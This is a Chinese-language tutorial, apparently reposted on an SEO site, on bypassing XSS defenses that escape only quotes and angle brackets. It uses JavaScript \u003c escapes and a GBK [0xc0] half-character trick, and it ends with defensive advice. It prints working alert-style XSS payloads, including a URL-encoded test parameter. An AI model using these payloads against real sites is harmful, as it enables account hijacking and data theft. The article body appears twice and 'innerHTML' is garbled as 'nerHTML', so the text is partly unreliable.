一种新型的绕过XSS防御的方法介绍
网站建设 2023-02-09 11:06www.1681989.com免费网站
大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义<、>、’、”,经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。
看一个JS的例子
<script>
var s = "\u003c\u003e";
alert(s);
</script>运行这段代码,结果显示如下
看到这么熟悉的尖括号,大家会不会有一些兴奋的感觉呢?JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着可以通过\u003c和\u003e来代替<和>。可是该如何利用这个特性来构造XSS攻击呢?继续看一个例子
<div id='s'>
test
</div>
<script>
var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e";
document.getElementById('s').nerHTML = s;
</script>运行上面代码,结果显示如下
在没有尖括号的情况下,成功实现了一个弹框的案例。
现在来设想一个更贴近实际开发情况的例子
(1)假设某站的首页http://.xxxx. /ma.html,其代码为
<div id="test">
aa
</div>
<script>
function callback(obj)
{
document.getElementById("test").nerHTML = obj.name;
}
</script>
<script src=" http://.victim./getcontent"></script>(2)http://.victim./getcontent返回的内容格式如下
callback({"name":"xx"}); 其中name的值是用户的昵称。
这个例子简单模拟了异步拉取信息并进行显示的情况。
现在假设用户的昵称为
\u003cimg src=1 onerror=alert(/xss/)\u003e 那么会是什么情况呢?
getcontent返回的昵称应该是这样的
\\u003cimg src=1 onerror=alert(/xss/)\\u003e因为后台输出JSON格式数据时,一般都会在\前面添加转义符进行转义。
接着ma.html的callback函数应该是等价于执行下面的语句
document.getElementById("test").nerHTML =" \\u003cimg src=1 onerror=alert(/xss/)\\u003e";显示的结果如下
很遗憾,没有弹出框。原因是原来的转义序列\u003c并没有生效,被添加的转义符转义掉了。
不过这里假设返回昵称时对\进行了转义,但实际情况下,有时输出json格式数据时是没有对\进行转义的,那样就会触发漏洞。
对于有对\进行转义的,这时就轮到我们强大的半字符出场了。对于半字符的问题,这里并不打算详细讲,说下结论
对于gb2312编码," [0xc0]\ "是一个合法的编码,显示为"繺"。
对于UTF-8编码,在IE6下,上述组合也是一个合法的编码。
其中[0xc0]表示一个十六进制的值。
现在修改昵称为
[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e,getcontent输出
callback({"name":"[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e"});由于半字符[0xc0]的存在,在解释上述JS代码时,等价于
callback({"name":"繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e"});可见,转义序列\u003c终于又回来了,显示结果如下
上述昵称中并没有出现单双引号,尖括号,所以如果后台只是对单双引号和尖括号进行转义,那么是可以被绕过防御的。
(1)利用场景输出内容在JS代码里,并且被动态显示出来(如使用nerHTML)。
(2)测试方法截获请求包,修改参数为
%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e(3)防御方法后台对半字符,反斜杠,单双引号,尖括号进行处理。
一切皆有可能,跨站无处不在,发挥偶们强大的智慧来挖掘吧
看一个JS的例子
<script>
var s = "\u003c\u003e";
alert(s);
</script>运行这段代码,结果显示如下
看到这么熟悉的尖括号,大家会不会有一些兴奋的感觉呢?JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着可以通过\u003c和\u003e来代替<和>。可是该如何利用这个特性来构造XSS攻击呢?继续看一个例子
<div id='s'>
test
</div>
<script>
var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e";
document.getElementById('s').nerHTML = s;
</script>运行上面代码,结果显示如下
在没有尖括号的情况下,成功实现了一个弹框的案例。
现在来设想一个更贴近实际开发情况的例子
(1)假设某站的首页http://.xxxx. /ma.html,其代码为
<div id="test">
aa
</div>
<script>
function callback(obj)
{
document.getElementById("test").nerHTML = obj.name;
}
</script>
<script src=" http://.victim./getcontent"></script>(2)http://.victim./getcontent返回的内容格式如下
callback({"name":"xx"}); 其中name的值是用户的昵称。
这个例子简单模拟了异步拉取信息并进行显示的情况。
现在假设用户的昵称为
\u003cimg src=1 onerror=alert(/xss/)\u003e 那么会是什么情况呢?
getcontent返回的昵称应该是这样的
\\u003cimg src=1 onerror=alert(/xss/)\\u003e因为后台输出JSON格式数据时,一般都会在\前面添加转义符进行转义。
接着ma.html的callback函数应该是等价于执行下面的语句
document.getElementById("test").nerHTML =" \\u003cimg src=1 onerror=alert(/xss/)\\u003e";显示的结果如下
很遗憾,没有弹出框。原因是原来的转义序列\u003c并没有生效,被添加的转义符转义掉了。
不过这里假设返回昵称时对\进行了转义,但实际情况下,有时输出json格式数据时是没有对\进行转义的,那样就会触发漏洞。
对于有对\进行转义的,这时就轮到我们强大的半字符出场了。对于半字符的问题,这里并不打算详细讲,说下结论
对于gb2312编码," [0xc0]\ "是一个合法的编码,显示为"繺"。
对于UTF-8编码,在IE6下,上述组合也是一个合法的编码。
其中[0xc0]表示一个十六进制的值。
现在修改昵称为
[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e,getcontent输出
callback({"name":"[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e"});由于半字符[0xc0]的存在,在解释上述JS代码时,等价于
callback({"name":"繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e"});可见,转义序列\u003c终于又回来了,显示结果如下
上述昵称中并没有出现单双引号,尖括号,所以如果后台只是对单双引号和尖括号进行转义,那么是可以被绕过防御的。
(1)利用场景输出内容在JS代码里,并且被动态显示出来(如使用nerHTML)。
(2)测试方法截获请求包,修改参数为
%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e(3)防御方法后台对半字符,反斜杠,单双引号,尖括号进行处理。
一切皆有可能,跨站无处不在,发挥偶们强大的智慧来挖掘吧
上一篇:防御DDoS攻击的几种好用的方式
下一篇:黑客实施DDOS攻击你了解多少?
网站设计
- 静宁会SEO的网站建设公司:全面提升您的网络影
- 提升在线业务的关键:选择最佳的丽水网站建设
- 浙江网站优化发展潜力如何
- 井研专业的网站建设公司:打造您的在线品牌
- 灵山SEO网站建设公司:提升您的在线业务表现
- 蒙城网站建设优化公司:提升您网站表现的理想
- 阳谷企业网站优化:提升线上业务力的关键
- 樟树专业的网站建设公司:打造您在线业务的坚
- 通河百度SEO排名的策略与技巧
- 重庆百度快照排名如何进行精准的客户引流
- 重庆百度快照排名
- 常宁便宜的建站公司:助您轻松打造在线业务
- 巫溪百度网站优化:提升网站曝光率与流量的关
- 湖北整站优化怎么做才能放大客户需求
- 闸北网站建设多少钱?全面解析与预算规划
- 辽宁企业网站优化怎么做电话营销